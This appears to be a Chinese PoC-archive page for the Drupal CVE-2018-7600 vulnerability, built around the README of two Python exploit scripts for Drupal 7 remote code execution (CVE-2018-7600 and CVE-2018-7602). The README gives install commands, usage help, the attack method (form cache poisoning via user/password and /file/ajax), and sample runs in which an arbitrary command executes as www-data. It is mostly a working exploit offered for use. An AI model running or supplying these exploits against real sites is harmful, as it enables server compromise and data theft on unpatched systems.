关联漏洞
标题：
Drupal 安全漏洞
(CVE-2018-7600)
描述：Drupal是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal中带有默认或通用模块配置的多个子系统存在安全漏洞。远程攻击者可利用该漏洞执行任意代码。以下版本受到影响：Drupal 7.58之前版本，8.3.9之前的8.x版本，8.4.6之前的8.4.x版本，8.5.1之前的8.5.x版本。
描述
Exploit for Drupal 7 <= 7.57 CVE-2018-7600
介绍
# Drupal 7 (CVE-2018-7600 / SA-CORE-2018-002)
Install required libraries with:
```
pip install requests
pip install bs4
```
```
$ python3 drupa7-CVE-2018-7600.py -h
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
usage: drupa7-CVE-2018-7600.py [-h] [-c COMMAND] [-f FUNCTION] [-p PROXY]
target
positional arguments:
target URL of target Drupal site (ex:
http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default
= passthru)
-p PROXY, --proxy PROXY Configure a proxy in the format
http://127.0.0.1:8080/ (default = none)
This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
by poisoning the recover password form (user/password) and triggering it with
the upload file via ajax (/file/ajax).
```
```
$ python3 drupa7-CVE-2018-7600.py http://target.local/
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-xpkEuQSuJJJQ1y4Sfs8gs0zzsVdO_v_TpaJDBSehzJE
[*] Triggering exploit to execute: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
# Drupal 7 (CVE-2018-7602 / SA-CORE-2018-004)
Install required libraries with:
```
pip install requests
pip install bs4
```
```
$ python3 drupa7-CVE-2018-7602.py -h
===================================================================================
| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |
| by pimps |
===================================================================================
usage: drupa7-CVE-2018-7602.py [-h] [-c COMMAND] [-f FUNCTION] [-x PROXY]
user password target
positional arguments:
user Username
password Password
target URL of target Drupal site (ex:
http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default
= passthru)
-x PROXY, --proxy PROXY Configure a proxy in the format
http://127.0.0.1:8080/ (default = none)
This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
using an valid account and poisoning the cancel account form
(user_cancel_confirm_form) with the 'destination' variable and triggering it
with the upload file via ajax (/file/ajax).
```
```
$ python3 drupa7-CVE-2018-7602.py marcio2 teste123 http://127.0.0.1:9090/
===================================================================================
| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |
| by pimps |
===================================================================================
[*] Creating a session using the provided credential...
[*] Finding User ID...
[*] User ID found: user/4
[*] Poisoning a form using 'destination' and including it in cache.
[*] Poisoned form ID: form-hKyeyIYxk-e4qT1sdZ6nWHq0xuHcH2BMWk3vMWaSExU
[*] Triggering exploit to execute: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
文件快照
[4.0K] /data/pocs/fd47f23ed819fe1de5d0523872e32d28ffbb85bc
├── [2.8K] drupa7-CVE-2018-7600.py
├── [4.2K] drupa7-CVE-2018-7602.py
└── [4.2K] README.md
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。